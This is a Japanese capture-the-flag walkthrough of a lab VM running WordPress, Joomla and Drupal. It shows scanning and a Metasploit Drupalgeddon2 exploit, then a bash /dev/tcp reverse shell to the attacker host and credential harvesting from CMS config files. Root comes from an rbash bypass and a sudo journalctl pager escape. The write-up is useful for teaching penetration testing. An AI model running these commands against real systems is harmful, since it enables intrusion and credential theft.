情報収集#
ポートスキャン#
スキャンコマンドは以下の通りです：
nmap -sC -sV -p22,80,5000,8081,9001 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.55
スキャン結果は以下の通りです：
Nmap scan report for 192.168.56.55
Host is up (0.00060s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8c:9f:7e:78:82:ef:76:f6:26:23:c9:52:6d:aa:fe:d0 (RSA)
| 256 2a:e2:f6:d2:52:1c:c1:d0:3d:aa:40:e6:b5:08:1d:45 (ECDSA)
|_ 256 fa:c9:eb:58:e3:d2:b7:4a:74:77:fc:69:0e:b6:68:08 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: W3.CSS Template
|_http-server-header: nginx/1.14.0 (Ubuntu)
5000/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-generator: WordPress 5.7.2
|_http-title: fsociety – Just another WordPress site
8081/tcp open http nginx 1.14.0 (Ubuntu)
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: nginx/1.14.0 (Ubuntu)
9001/tcp open http nginx 1.14.0 (Ubuntu)
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: fsociety.web
スキャン結果から、一般的な HTTP サービス（80 ポート）に加えて、ターゲットマシンは他のいくつかのコンテンツ管理システム（CMS）関連のポートも開放していることがわかります：
- WordPress：ポート 5000
- Joomla：ポート 8081
- Drupal：ポート 9001
これは、ターゲットが複数の有名な CMS システムを含んでいることを示しており、これらの情報に基づいて適切な攻撃経路を選択できます。
バージョン識別と脆弱性分析#
まず、一般的なアプローチはディレクトリスキャンを行い、潜在的なバックエンドパスとバージョン情報を見つけることです。その後、CMS バージョンの分析に重点を置き、利用可能な nday があるかどうかを確認します。
WordPress#
http://fsociety.web:5000/rss/ ページにアクセスすることで、WordPress フレームワークのバージョン情報を確認できます：5.7.2。実際、wappalyzer プラグインを使用することでバージョン情報を取得することもできます。
次に、wpscanツールを使用してスキャンを行います。
wpscan --url http://192.168.56.55:5000 -e u,vp --plugins-detection aggressive --api-token xxxxxxxx
特に深刻なバージョンやプラグインの脆弱性は見つかりませんでした。
Joomla#
cmseekを使用して Joomla をスキャンします。
バージョンはJoomla 3.4.3であることがわかりました。このバージョンには、特定の悪意のあるリクエストを通じて任意のコードを実行できるリモートコード実行（RCE）脆弱性があります。
Drupal#
特定のパスhttp://192.168.56.55:9001/CHANGELOG.txtを通じて、Drupal のバージョンが7.54であることを確認しました。これは広く注目されているバージョンで、複数の既知の脆弱性があります。
脆弱性の利用#
Joomla に対して、https://github.com/kiks7/rusty_joomla_rce という POC を試みましたが、成功しませんでした。
しかし、Drupal 7.54 には有名な脆弱性（Drupalgeddon2）があり、Metasploitを使用して直接利用できます。脆弱性を利用する方法は以下の通りです：
-
Metasploit コンソールを起動します：
msfconsole -
Drupalgeddon2 脆弱性モジュールをロードします：
use exploit/unix/webapp/drupal_drupalgeddon2 -
ターゲット情報を設定します：
set RHOSTS 192.168.56.55 set RPORT 9001 set LHOST 192.168.56.100 -
攻撃を実行します：
run
成功すれば、ターゲットシステムの初期アクセス権限を取得できます。
msfが提供するshell -tコマンドは非常に便利な擬似端末ですが、私は反転シェルを返す方が柔軟性があると考えています：
bash -c "bash -i /dev/tcp/192.168.56.100/4444 0>&1"
シェルを安定させ、アップグレードします：
権限昇格#
まず、/etc/passwdファイルのユーザー情報を確認し、elliotユーザーがrbashを使用していることに注意します。
www-data@vuln_cms:/opt$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ghost:x:1000:1000:tombstoneGhost:/home/ghost:/bin/bash
elliot:x:1001:1001::/home/elliot:/bin/rbash
tyrell:x:1002:1002::/home/tyrell:/bin/bash
設定情報の検索（ユーザーパスワード）#
次に、linpeasを直接実行し、さらなる手がかりを得られるか確認します。良いことに、drupalサイトのsettings.phpファイルでデータベースの資格情報を見つけました：
grep -C 5 'pass' /var/www/html/drupal/sites/default/settings.php
得られたデータベースの資格情報は以下の通りです：
array (
'default' =>
array (
'database' => 'drupal_db',
'username' => 'drupal_admin',
'password' => 'p@$$_C!rUP@!_cM5',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
)
MariaDB データベースに接続して、drupal_dbのusersテーブルを確認しましたが、パスワードはソルトハッシュされており、直接的な価値はありませんでした。
MariaDB [drupal_db]> describe users;
+------------------+------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+------------------+------------------+------+-----+---------+-------+
| uid | int(10) unsigned | NO | PRI | 0 | |
| name | varchar(60) | NO | UNI | | |
| pass | varchar(128) | NO | | | |
| mail | varchar(254) | YES | MUL | | |
| theme | varchar(255) | NO | | | |
| signature | varchar(255) | NO | | | |
| signature_format | varchar(255) | YES | | NULL | |
| created | int(11) | NO | MUL | 0 | |
| access | int(11) | NO | MUL | 0 | |
| login | int(11) | NO | | 0 | |
| status | tinyint(4) | NO | | 0 | |
| timezone | varchar(32) | YES | | NULL | |
| language | varchar(12) | NO | | | |
| picture | int(11) | NO | MUL | 0 | |
| init | varchar(254) | YES | | | |
| data | longblob | YES | | NULL | |
+------------------+------------------+------+-----+---------+-------+
MariaDB [drupal_db]> select name,pass from users;
+------------------+---------------------------------------------------------+
| name | pass |
+------------------+---------------------------------------------------------+
| | |
| admin_cms_drupal | $S$DADmuahqIEcfhp8mqTQ/ystjAyQdBA46h/VXbd89wutU4aKRmNpi |
+------------------+---------------------------------------------------------+
次に、wordpressの設定ファイルを確認し、データベースのユーザー名とパスワードを取得しました：
define( 'DB_USER', 'wp_admin' );
define( 'DB_PASSWORD', 'UUs3R_C!B@p@55' );
しかし、wp_usersテーブルをクエリしたところ、パスワードは依然としてソルトハッシュ値であり、直接的な価値はありませんでした：
MariaDB [wordpress_db]> select user_login, user_pass from wp_users;
+-----------------+------------------------------------+
| user_login | user_pass |
+-----------------+------------------------------------+
| wordpress_admin | $P$ByXz8klWHk6kmTctrN/8vfzXGqLfab/ |
+-----------------+------------------------------------+
Joomla に関しては、設定ファイルconfiguration.phpを確認することでデータベースの資格情報を取得しました：
public $user = 'joomla_admin';
public $password = 'j00m1_@_dBpA$$';
public $db = 'joomla_db';
データベース内のhs23w_usersテーブルをクエリしたところ、2 つのユーザーのハッシュパスワードを取得しましたが、同様に直接的な価値はありませんでした：
MariaDB [joomla_db]> select username, password from hs23w_users;
+-----------------+--------------------------------------------------------------+
| username | password |
+-----------------+--------------------------------------------------------------+
| joomlaCMS_admin | $2y$10$EYc6SKfMLzlLE/IcD9a6XeAe2Uv7WTBFlbbqRrnpht1K0M1bLrWee |
| elliot | $2y$10$jddnEQpjriJX9jPxh6C/hOag4ZZXae4iVhL7GVRPC9SHWgqbi4SYy |
+-----------------+--------------------------------------------------------------+
権限昇格 - elliot アカウント#
重要な資格情報の発見#
/optディレクトリ内で、joomlaCMS_adminのユーザー名とパスワードが保存されている資格情報ファイル8081.credを発見しました：
www-data@vuln_cms:/opt$ cat 8081.cred
Username: joomlaCMS_admin
Password: _q4gWWJuBWt8cqfbUm-cdevR?L@N7-pR
この資格情報を使用して Joomla のバックエンドにログインします（必ずバックエンドにログインしてください）：
http://192.168.56.55:8081/administrator/
ログインに成功した後、elliotユーザーのパスワードが見つかりました：5T3e!_M0un7i@N
rbash の回避#
elliotユーザーはrbashを使用しているため、以下のコマンドを使用してこの制限を回避しようとします：
ssh [email protected] -t bash
ホームディレクトリで user flag を成功裏に読み取ります。
権限昇格 - tyrell アカウント#
情報収集と権限昇格操作を続ける中で、一般的な権限昇格のアプローチを試しましたが、成果は得られませんでした。その時、もう一つのユーザーアカウントtyrellがあることを思い出し、このアカウントにもパスワードが隠されているかどうかを確認することにしました。
tyrell関連ファイルの検索#
以下のコマンドを使用して、システム内でtyrellに関連するファイルを検索しました：
elliot@vuln_cms:~$ find / -iname '*tyrell*' -type f 2>/dev/null
/var/www/html/drupal/misc/tyrell.pass
tyrell.passという名前のファイルを発見し、その内容を確認します：
elliot@vuln_cms:~$ cat /var/www/html/drupal/misc/tyrell.pass
Username: tyrell
Password: mR_R0bo7_i5_R3@!_
tyrellのパスワードを成功裏に見つけました！
tyrellユーザーへの切り替え#
取得したパスワードを使用して切り替えます：
elliot@vuln_cms:~$ su - tyrell
Password: mR_R0bo7_i5_R3@!_
tyrell@vuln_cms:~$ id
uid=1002(tyrell) gid=1002(tyrell) groups=1002(tyrell)
この時点で、tyrellユーザーに成功裏に切り替わりました。
sudo 権限の確認#
tyrellユーザーがsudo権限を持っているか確認します：
tyrell@vuln_cms:~$ sudo -l
Matching Defaults entries for tyrell on vuln_cms:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User tyrell may run the following commands on vuln_cms:
(root) NOPASSWD: /bin/journalctl
tyrellユーザーは無パスワードでsudoを使用して/bin/journalctlコマンドを実行できます。
まず、ls -l、file、stringsを使用してこのプログラムを簡単に分析し、その後プログラムを直接実行してその動作を観察します：
ページャーを呼び出して内容を表示することがわかりました。そこで、直接!bashを使用して権限を昇格させ、root 権限で Bash シェルを取得しました。
このコマンドはgtfobinsサイトでも関連する権限昇格のテクニックを見つけることができます。
rootユーザーのディレクトリ内で、root.txtファイルを成功裏に見つけ、その中のフラグ値を読み取りました。
まとめ#
ペネトレーションテストの初期段階で、まず CMS バージョン分析を行い、Metasploit を通じて Drupal の脆弱性を利用して境界を突破しました。権限昇格の段階では、最初に 3 つの CMS の設定ファイルを確認し、データベースを深く検索しましたが、直接的に有用な情報は見つかりませんでしたが、このアプローチはペネトレーションテストで一般的に使用されるパスです。その後、/optディレクトリで Joomla バックエンドのアカウントとパスワードを発見し、バックエンドにアクセスして Elliot ユーザーのパスワードを取得しました。
情報収集を続け、システム内の隠されたパスワードファイルを探した結果、tyrellユーザーの資格情報を成功裏に取得しました。さらに分析した結果、このユーザーがsudo権限を持ち、/bin/journalctlを実行できることがわかりました。この点を利用して、私は成功裏に root 権限を取得し、最終的に root ディレクトリ内のフラグを取得しました。
これにて、ペネトレーションテストの全過程が無事に終了しました！